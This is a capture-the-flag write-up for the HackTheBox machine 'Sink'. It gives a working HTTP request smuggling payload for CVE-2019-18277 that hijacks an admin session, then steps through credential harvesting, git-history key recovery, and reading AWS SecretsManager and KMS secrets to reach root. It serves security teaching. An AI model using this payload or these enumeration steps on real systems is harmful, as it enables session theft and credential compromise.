Sink

🎯 Attack Chain Summary

Sink is an Insane-rated Linux box on HackTheBox featuring a multi-stage attack chain. This writeup walks you through every step, from the first port scan to getting root. If you're new to security, don't worry — I'll explain every concept along the way.

Here's the high-level kill chain (each phase builds on the last):

1. Reconnaissance — Scan the machine to discover running services
2. HTTP Request Smuggling — Exploit a parsing disagreement between HAProxy and Gunicorn to hijack an admin's browser session
3. Credential Harvesting — Read the admin's saved notes to find passwords
4. Git History Diving — Find a deleted SSH key buried in git history
5. Lateral Movement — Use AWS SecretsManager to find another user's password
6. Privilege Escalation — Decrypt an encrypted file using KMS to find root's password

Key Technologies: HAProxy 1.9.10, Gunicorn 20.0.0, Gitea, AWS LocalStack, SecretsManager, KMS

🔍 Phase 1 — Reconnaissance

Every penetration test starts the same way: figuring out what's running on the target machine. We do this with a port scan — essentially knocking on every possible "door" (port) on the machine to see which ones are open and what services are listening behind them.

Port Scan

$ nmap -sC -sV -p- sink.htb

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1
3000/tcp open  http     Gitea (Go)
5000/tcp open  http     Gunicorn 20.0.0

Let's break down that nmap command:

• -sC — Run default scripts (these do things like check for common vulnerabilities and grab banners)
• -sV — Try to determine the exact version of each service
• -p- — Scan ALL 65,535 possible ports (not just the common ones)
• sink.htb — The target hostname (we add this to our /etc/hosts file so our computer knows how to find it)

Three services immediately stand out:

• Port 22 — SSH — This is the standard way to remotely log into a Linux machine. We'll need valid credentials (a username + password, or an SSH key) to use it.
• Port 3000 — Gitea — A self-hosted Git service, like a private GitHub. This likely contains source code and — if we're lucky — secrets that developers accidentally committed.
• Port 5000 — Gunicorn 20.0.0 — A Python web server. As we'll discover, it sits behind HAProxy. This is the "Sink Devops" web application.

Web Application (Port 5000)

Visiting port 5000 in a browser shows the Sink Devops application. It supports user registration and login. After creating an account and authenticating, we can:

• POST /comment — Submit comments with a msg= parameter
• POST /notes — Create notes with a note= parameter
• GET /notes — View our saved notes

There's also an admin bot — an automated script that periodically visits the site while logged in as the admin user. This is significant because if we can trick the site into capturing the admin's request, we can steal their session cookie.

Technology Stack

Response headers reveal the critical detail that makes this box exploitable. Let's look at what happens when we make a request:

HTTP/1.1 200 OK
Server: gunicorn/20.0.0
Via: haproxy
...

The application runs HAProxy 1.9.10 as a reverse proxy in front of Gunicorn 20.0.0. This is a very common setup: one server faces the internet and passes requests along to another server that actually runs the application code.

Here's why this matters: this specific combination is vulnerable to CVE-2019-18277 — an HTTP Request Smuggling vulnerability. Let's dive deep into what that means.

💥 Phase 2 — HTTP Request Smuggling (CL.TE Desync)

What Is HTTP Request Smuggling?

To understand this attack, let's first understand how web requests normally flow. Imagine a restaurant:

• The host (HAProxy) stands at the front door, greets customers, and points them to a table
• The waiter (Gunicorn) takes the actual food orders and serves the meals

In the web world, when your browser sends an HTTP request, it first arrives at the reverse proxy (HAProxy). The proxy then forwards it to the backend server (Gunicorn). Simple, right?

The problem arises when we send multiple requests over the same connection (this is called HTTP keep-alive, and it's extremely common for performance). Both HAProxy and Gunicorn need to agree on where one request ends and the next begins. They determine this using two headers:

• Content-Length — Says "the body is exactly X bytes long"
• Transfer-Encoding: chunked — Says "the body is sent in chunks, each chunk prefixed with its size, ending with a chunk of size 0"

HTTP Request Smuggling happens when these two servers disagree about which header to use. One server thinks the request is X bytes long, the other thinks it ends at chunk 0. This disagreement causes the leftover bytes to be treated as the beginning of a new, separate request.

What Is a CL.TE Desync?

The name "CL.TE" tells you exactly what's happening:

• CL = The front-end (HAProxy) uses Content-Length
• TE = The back-end (Gunicorn) uses Transfer-Encoding

Here's an ASCII diagram of how a desync works:

What we send to HAProxy:
┌──────────────────────────────────────────────┐
│ POST / HTTP/1.1                               │
│ Content-Length: 300    ← HAProxy uses THIS    │
│ Transfer-Encoding:\x0bchunked                 │
│                                               │
│ 0                     ← Gunicorn stops HERE   │
│                                               │
│ POST /notes HTTP/1.1  ← SMUGGLED REQUEST      │
│ Cookie: session=OURS                          │
│ Content-Length: 300                            │
│                                               │
│ note=                 ← Captures next request │
└──────────────────────────────────────────────┘

HAProxy sees: "One request, 300 bytes long. Forward the whole thing."
Gunicorn sees: "First request ends at chunk 0. The rest is a NEW request."

When the admin bot's request arrives on the same connection:
┌───────────────────────────────────────┐
│ note=GET / HTTP/1.1                    │  ← Gunicorn glues the admin's
│ Host: sink.htb:5000                    │     request onto our "note="
│ Cookie: session=ADMIN_SESSION_TOKEN    │     parameter!
│ ...                                    │
└───────────────────────────────────────┘

The smuggled POST /notes request has our session cookie and a note= parameter with a large Content-Length. When the admin bot's legitimate request arrives on the same TCP connection, Gunicorn treats it as the body of our smuggled request. The admin's entire HTTP request — including their session cookie — gets saved as one of our notes!

The Vulnerability: CVE-2019-18277

CVE-2019-18277 affects Gunicorn < 20.0.1 when used behind a proxy like HAProxy. The core issue is subtle: Gunicorn accepts Transfer-Encoding headers with obfuscation that HAProxy doesn't recognize.

Specifically, inserting a vertical tab character (\x0b) before "chunked" causes a parsing disagreement:

• HAProxy sees Transfer-Encoding:\x0bchunked → "That doesn't look like valid chunked encoding to me" → falls back to Content-Length
• Gunicorn sees Transfer-Encoding:\x0bchunked → "Sure, that's chunked encoding" → processes the body as chunks

Why does the vertical tab cause this? HAProxy is strict: it only recognizes Transfer-Encoding: chunked with standard whitespace (spaces, tabs). The vertical tab character (\x0b, ASCII 11) isn't standard whitespace, so HAProxy rejects it. But Gunicorn is more lenient — it strips the \x0b and processes the header normally. This tiny difference in how two programs handle a single invisible character is what makes the entire attack possible.

The Smuggling Payload

Here's the exact payload we send (note: \x0b is a single invisible byte, not literal text):

POST / HTTP/1.1
Host: sink.htb:5000
Content-Length: 300
Transfer-Encoding:\x0bchunked

0

POST /notes HTTP/1.1
Host: sink.htb:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
Cookie: session=<our_session_cookie>

note=

Here's how the desync works step by step:

1. HAProxy reads Content-Length: 300 and forwards the entire blob — including the smuggled POST request — as a single request body to Gunicorn.
2. Gunicorn processes the Transfer-Encoding: chunked header. It reads chunk size 0, which means "end of body." It considers the first request (the POST /) complete.
3. Everything after 0\r\n\r\n — our smuggled POST /notes — remains sitting in the TCP connection buffer, waiting to be processed.
4. When the next legitimate request (from the admin bot visiting the site) arrives on the same connection, Gunicorn processes our buffered POST /notes first. But our smuggled request's Content-Length: 300 says "I expect 300 bytes of body." Since note= is only 5 bytes, Gunicorn keeps reading from the socket — and reads the admin's incoming request as part of the body!
5. The admin's request headers and JWT session cookie get appended to note= and saved to our notes.

Capturing the Admin Session

We need to send the smuggling payload multiple times (the admin bot visits periodically, so we need to be lucky enough that our smuggled request is sitting in the buffer when the admin's request arrives). After a few attempts:

$ # After sending the smuggle payload, check our notes:
$ curl -s http://sink.htb:5000/notes -b "session=our_session"

# Captured note contains the admin bot's request:
GET / HTTP/1.1
Host: sink.htb:5000
Accept: text/html
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.X8dX...

The admin session JWT decodes to {"email":"[email protected]"}. This is session hijacking — we've stolen the admin's session token and can now make requests as the admin by putting their cookie in our browser.

🔑 Phase 3 — Admin Notes → Gitea Access

Harvesting Credentials

Using the stolen admin cookie, we access GET /notes and find three saved notes containing plaintext credentials. This is a shockingly common real-world scenario — people store passwords in notes apps, sticky notes, and text files all the time:

Note 1 — Chef Login:
  Username: chefadm
  Password: /6'fEGC&zEx{4]zz

Note 2 — Dev Node (code.sink.htb):
  Username: root
  Password: FaH@3L>Z3})zzfQ3

Note 3 — Nagios:
  Username: nagios_adm
  Password: g8<H6GK{*L.fB3C

Gitea Enumeration

Note 2 contains credentials for code.sink.htb — the Gitea instance on port 3000! Logging in as root with password FaH@3L>Z3})zzfQ3 reveals four repositories:

• Key_Management — EC2 key management scripts (this one's interesting!)
• Kinesis_ElasticSearch — AWS Kinesis to ElasticSearch pipeline
• Log_Management — Logging infrastructure
• Serverless-Plugin — Serverless framework plugin

Gitea (and GitHub, GitLab, etc.) stores the complete history of every file change. This is incredibly important for security: even if a developer realizes they accidentally committed a password or SSH key and deletes it in a new commit, the old version still exists in the git history. Think of it like a security camera with infinite storage — you can delete the evidence from the room, but the recording still shows it was there.

🔐 Phase 4 — SSH Key from Git History → User Flag

The Deleted Key

In the Key_Management repository, examining the commit history reveals something interesting:

$ git log --oneline
b01a6b7 Preparing for Prod
d0285ce Adding EC2 Key Management Structure

Two commits. The first one ("Adding EC2 Key Management Structure") added an OpenSSH private key. The second one ("Preparing for Prod") deleted it — someone realized they shouldn't have committed a private key and tried to clean up. But git never forgets.

We can use git diff to see what changed between those two commits:

$ git diff d0285ce b01a6b7 -- *.pem
# Shows the deleted private key in the diff — lines starting with "-"
# are things that were REMOVED in the second commit

$ git show d0285ce:id_rsa > marcus_key
$ chmod 600 marcus_key

The git show command retrieves the file as it existed in the old commit, before it was deleted. The chmod 600 sets the file permissions so only we can read it — SSH refuses to use a key file that other users can access (this is a security precaution).

SSH Access

Now we can SSH into the box as user marcus using the recovered private key:

$ ssh -i marcus_key [email protected]

marcus@sink:~$ cat user.txt

☁️ Phase 5 — AWS SecretsManager → Lateral Movement to david

Discovering LocalStack

Now that we're on the box as marcus, we need to find a way to escalate our privileges. Let's look around and see what's running on this machine:

marcus@sink:~$ ss -tlnp | grep 4566
LISTEN  0  128  0.0.0.0:4566  0.0.0.0:*

Port 4566 is open and listening locally! This is the default port for LocalStack — a tool that simulates AWS cloud services locally. Developers use LocalStack for testing, but it often contains real credentials and is rarely configured with proper access controls.

Since LocalStack mimics real AWS services, we can use the standard aws command-line tool to interact with it — we just point it at localhost:4566 instead of the real AWS:

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 \
  secretsmanager list-secrets

{
    "SecretList": [
        {
            "Name": "Jenkins Login",
            "Description": "Jenkins admin credentials"
        },
        {
            "Name": "Sink Panel",
            "Description": "Sink panel credentials"
        },
        {
            "Name": "Jira Support",
            "Description": "Jira support credentials"
        }
    ]
}

Three secrets stored in SecretsManager! IAM access controls are typically not enforced in LocalStack, so any user on the box can read these secrets.

Extracting Secrets

Let's retrieve each secret. The "Jira Support" one turns out to be the most interesting:

marcus@sink:~$ aws --endpoint-url=http://localhost:4566 \
  secretsmanager get-secret-value --secret-id "Jira Support"

{
    "Name": "Jira Support",
    "SecretString": "{\"username\":\"[email protected]\",\"password\":\"EALB=bcC=`a7f2#k\"}"
}

We've found credentials for user david!

Lateral Movement

Let's switch to the david account using the su (substitute user) command:

marcus@sink:~$ su - david
Password: EALB=bcC=`a7f2#k

david@sink:~$ id
uid=1000(david) gid=1000(david) groups=1000(david)

We've successfully moved laterally from marcus to david. This is a critical step because different users have access to different resources.

👑 Phase 6 — KMS Decryption → Root

The Encrypted File

Looking around david's home directory, we find something intriguing:

david@sink:~$ ls -la Projects/Prod_Deployment/
-rw-r--r-- 1 david david 512 servers.enc

A file named servers.enc — the .enc extension strongly suggests it's encrypted data. At 512 bytes, it's likely been encrypted using one of the KMS keys available in LocalStack.

KMS (Key Management Service) is like a digital locksmith. You give it data, it encrypts it with a key that only KMS controls. To decrypt, you need to ask KMS to do it — but you also need to use the right key.

Enumerating KMS Keys

Let's find out which keys are available:

david@sink:~$ aws --endpoint-url=http://localhost:4566 \
  kms list-keys

# Returns 11 KMS key IDs

david@sink:~$ for keyid in $(aws --endpoint-url=http://localhost:4566 \
  kms list-keys --query 'Keys[].KeyId' --output text); do
    echo "=== $keyid ==="
    aws --endpoint-url=http://localhost:4566 \
      kms describe-key --key-id "$keyid" \
      --query 'KeyMetadata.{State:KeyState,Usage:KeyUsage,Spec:KeySpec}'
done

We're looking at three properties of each key:

• KeyState — Is the key enabled? Disabled keys can't be used.
• KeyUsage — Can this key encrypt/decrypt? Some keys are sign-only (used for digital signatures, not encryption).
• KeySpec — What algorithm does this key use? We need one that's compatible with our encrypted file.

Most keys are either disabled or sign-only. One key stands out:

Key: 804125db-bdf1-465a-a058-07fc87c0fad0
  KeySpec: RSA_4096
  KeyState: Enabled
  KeyUsage: ENCRYPT_DECRYPT

This is a 4096-bit RSA key that's enabled and can encrypt/decrypt — exactly what we need!

Decrypting the Artifact

david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt \
  --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 \
  --ciphertext-blob fileb://Projects/Prod_Deployment/servers.enc \
  --encryption-algorithm RSAES_OAEP_SHA_256 \
  --query Plaintext --output text | base64 -d > servers.gz

david@sink:~$ file servers.gz
servers.gz: gzip compressed data

david@sink:~$ tar xzf servers.gz
david@sink:~$ cat servers.yml

The decrypted data is a gzip-compressed tar archive. After extracting it, we find a YAML configuration file:

# servers.yml
server:
  name: prod-srv-01
  user: admin
  password: _uezduQ!EY5AHfe2
  port: 22

Root credentials, stored in a "production deployment" configuration file. This is another disturbingly common pattern — deployment scripts and configuration files often contain plaintext passwords.

Root Access

david@sink:~$ ssh root@localhost
Password: _uezduQ!EY5AHfe2

root@sink:~# cat /root/root.txt

📚 Key Takeaways

• HTTP Request Smuggling is devastating. A parsing disagreement between a proxy and backend — in this case caused by a single invisible character (\x0b) — can let you hijack arbitrary sessions. Always ensure your proxy and backend agree on how to parse headers, and keep both updated.
• Git history never forgets. Deleting a file in a later commit doesn't erase it from history. To truly purge sensitive data, you need specialized tools like git filter-branch or BFG Repo Cleaner — and even then, anyone who cloned the repo before the purge still has the data.
• Secrets in notes are secrets exposed. The admin stored plaintext credentials in the application's notes feature. Use a proper password manager — never store credentials in notes apps, text files, or sticky notes.
• AWS LocalStack is a goldmine for attackers. Development environments running LocalStack often contain real credentials stored in SecretsManager, unprotected by IAM policies. If you're using LocalStack, treat it with the same security rigor as production AWS.
• KMS key enumeration pays off. When you find encrypted blobs, systematically enumerate available KMS keys — check state, usage type, and key spec to find the right decryption key. Don't assume encryption means security if the keys are accessible.
• Defense-in-depth matters. This box required chaining 5 distinct vulnerabilities across completely different technology stacks (HTTP, Git, AWS, SSH). Each layer of security that fails makes the next exploitation possible. Real-world attacks work the same way — rarely is a single vulnerability enough.

🛠 Tools Used

• nmap — Port scanning & service detection
• Burp Suite — HTTP request smuggling payload crafting (a web proxy tool that lets you intercept and modify HTTP requests)
• curl — Manual HTTP requests from the command line
• git — Repository history enumeration
• ssh — Remote access with recovered keys/passwords
• aws-cli — LocalStack SecretsManager & KMS interaction

🎓 What I Learned

• HTTP Request Smuggling (CL.TE) — a single invisible character (\x0b vertical tab) caused HAProxy and Gunicorn to disagree on request boundaries, enabling session hijacking of an admin bot
• Git history is forever — deleting an SSH private key in a later commit doesn't erase it; git show on old commits recovers "deleted" files instantly
• LocalStack is a goldmine — AWS SecretsManager on LocalStack often has no IAM enforcement, meaning any local user can list and read all stored secrets
• KMS key enumeration — systematically checking KeyState, KeyUsage, and KeySpec across all KMS keys identifies the correct decryption key for encrypted artifacts
• Credential cascading — each credential led to the next: Squid proxy notes → Gitea → SSH key → SecretsManager → KMS → root password. Defense-in-depth failures compound

🔀 Alternative Paths

• TE.CL smuggling variant — depending on proxy configuration, a Transfer-Encoding front / Content-Length back desync could also work if the proxy/backend roles were reversed
• Direct Gitea exploitation — if the Gitea instance had known CVEs (e.g., pre-auth RCE), the web app smuggling phase could have been bypassed entirely
• Password spraying with admin notes — the three credential sets from admin notes could be sprayed across SSH, Gitea, and other services to find reuse, potentially skipping the git history dive
• AWS CLI credential file — instead of SecretsManager, checking ~/.aws/credentials or environment variables might have revealed AWS keys for direct KMS access